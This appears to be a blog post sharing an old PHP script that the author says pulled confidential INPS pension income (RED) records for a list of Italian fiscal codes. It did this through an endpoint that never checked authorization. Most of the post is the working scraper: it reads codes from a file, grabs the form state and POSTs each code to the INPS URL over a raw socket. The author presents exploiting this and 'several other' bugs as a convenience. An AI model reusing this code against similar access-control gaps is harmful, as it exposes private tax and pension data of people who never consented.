old script - retrieve confidential data from INPS about RED

An old php script that I used to retrieve informations about the RED (dichiarazione reddituale per pensionati) for each Fiscal Code.
INPS never checked the authorizations on the url to request the data and I used this, and several other, bug to work in a faster way ...
The url doesn't work anymore and the script is damn old that nobody will care about it.

<?php

$inputfile = 'codici.txt';
$outputfile = 'RED.txt';
$host = 'www.inps.it';
$path = '/servizi/redest/Frm_MatricolaIpost.aspx';

$method = 'POST';

//$host = 'www.google.it';

$postdata = '&Stampa=Esegui&F00=';

//reading codici fiscali from file
$arrcodicifiscali = getcodicifiscali($inputfile);




foreach($arrcodicifiscali as $codice)
{
    //getting the page
    $resdata = httpSocketConnection($host, 'GET', $path, '');
    $viewstatedata = '';
$regu = $resdata[1];

    if( preg_match( '#name="__VIEWSTATE" value="(.*?)"#', $resdata[1], $matches) )
    {
        $viewstatedata = $matches[1];
    }
//print_r($viewstatedata);exit;

//post data with the code
$postdatacf = $postdata . $codice;

//we need to set the VIEWSTATE
//$postdatacf = '__VIEWSTATE=' . $viewstatedata . $postdatacf;
//echo $postdatacf; exit;
$resdata = httpSocketConnection($host,$method,$path,$postdatacf);
echo $postdatacf . '';
echo '<pre>' . $regu . '</pre>';
echo '<pre>' . $resdata[1]. '</pre>'; exit();
}

//$resdata = httpSocketConnection($host,$method,$path,$postdata);
//file_put_contents($outputfile,$resdata);

echo 'ok';





//////////////////////////////////

function getcodicifiscali($inputfile)
{
    $codicifiscali = array();
   
    $handle = @fopen( $inputfile, 'r');
    if(!$handle) {
        echo 'cannot read the input file';
        exit();
    }
   
    //while there's no end of file
        while (feof($handle) === false) {
            $buffer = fgets($handle, 4096);
            $buffer = str_replace("\r",'', $buffer);
            $buffer = str_replace("\n",'', $buffer);
            $codicifiscali[] = $buffer;
        }
        fclose($handle);

    return $codicifiscali;
}



function httpSocketConnection($host, $method, $path = '', $data = '')
        {
            $method = strtoupper($method);      
          
            if (($method == "GET") && ($data != ''))
            {
                $path.= '?'.$data;
            }  
          
            $filePointer = fsockopen($host, 80, $errorNumber, $errorString);
          
            if (!$filePointer)
            {
                throw new Exception("Error $errorNumber $errorString");
            }
  
            $requestHeader = $method." ".$path."  HTTP/1.1\r\n";
            $requestHeader.= "Host: ".$host."\r\n";
            $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
            $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";
  
            if ($method == "POST")
            {
                $requestHeader.= "Content-Length: ".strlen($data)."\r\n";
            }
          
            $requestHeader.= "Connection: close\r\n\r\n";
          
            if ($method == "POST")
            {
                $requestHeader.= $data;
            }          
  
            fwrite($filePointer, $requestHeader);
          
            $responseHeader = '';
            $responseContent = '';
  
            do
            {
                $responseHeader.= fread($filePointer, 1);
            }
            while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));
          
          
            if (!strstr($responseHeader, "Transfer-Encoding: chunked"))
            {
                while (!feof($filePointer))
                {
                    $responseContent.= fgets($filePointer, 128);
                }
            }
            else
            {
  
                while ($chunk_length = hexdec(fgets($filePointer)))
                {
                    $responseContentChunk = '';
              
                  
                    $read_length = 0;
                  
                    while ($read_length < $chunk_length)
                    {
                        $responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
                        $read_length = strlen($responseContentChunk);
                    }
  
                    $responseContent.= $responseContentChunk;
                  
                    fgets($filePointer);
                  
                }
              
            }
  
            //cleaning the last parts
            $responseHeader = chop($responseHeader);
            $responseContent = chop($responseContent);
           
            $statuscode = getstatuscode($responseHeader);
            switch($statuscode)
            {
                case '302':
                //--todo-- add the autofollow true/false
                    $path = '';
                    httpSocketConnection($host, $method, $path, $data);
                break;
                default:
                break;
            }
           
            return array($responseHeader, $responseContent);

        }

function getstatuscode($myheaders)
{
    //if we have the raw headers we convert them to an array
    if(is_array($myheaders) === false)
    {
        $myheaders = str_replace("\r", '',$myheaders);
        //splitting into an array
        $myheaders = split("\n", $myheaders);
    }
   
    //checking the first line with the status code
    //ex. HTTP/1.1 301 Moved Permanently
    if ( preg_match('#HTTP/\d{1}\.\d{1} (\d{3}) .*#', $myheaders[0], $matches) )
    {
        //returning the status code
        return $matches[1];
    }
    //return false for any error
    return false;
   
}


function cookieJar($myheaders)
{
/*
Date: Thu, 30 Jul 2009 16:41:36 GMT
Server: Microsoft-IIS/6.0
P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
S:: 04
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
Location: http://it.msn.com/
Set-Cookie: MC1=V=3&GUID=351aadd02c2c4c6a943829592de783dd; domain=.msn.it; expires=Mon, 04-Oct-2021 11:00:00 GMT; path=/
Cache-Control: no-cache
Content-Length: 0
*/

//if we have the raw headers we convert them to an array
if(is_array($myheaders) === false)
{
    $myheaders = str_replace("\r", '',$myheaders);
    $myheaders = split("\n", $myheaders);
}

$MycookieJar = array();


while ($line = trim(array_shift($myheaders))) {
    list($header, $value) = explode(':', $line, 2);
   
    if ( $header == 'Set-Cookie' || $header == 'set-cookie2' ) {

        // v2 cookies
        if ($header == 'set-cookie2')
        {
            $cookies = explode(',', $value);
        } else {
            $cookies = array($value);
        }       

        foreach ($cookies as $cookie)
        {
            $cookie = explode(';', $cookie);
            foreach ($cookie as $pos => $val)
                {
                    $val = explode('=', $val, 2);
                    $val[1] = trim(@$val[1]);
                    $MycookieJar[] = $val;
                }
        }
        }
}
return $MycookieJar;
//echo $myheaders . "\r\n";
//print_r($MycookieJar);exit;
}
?>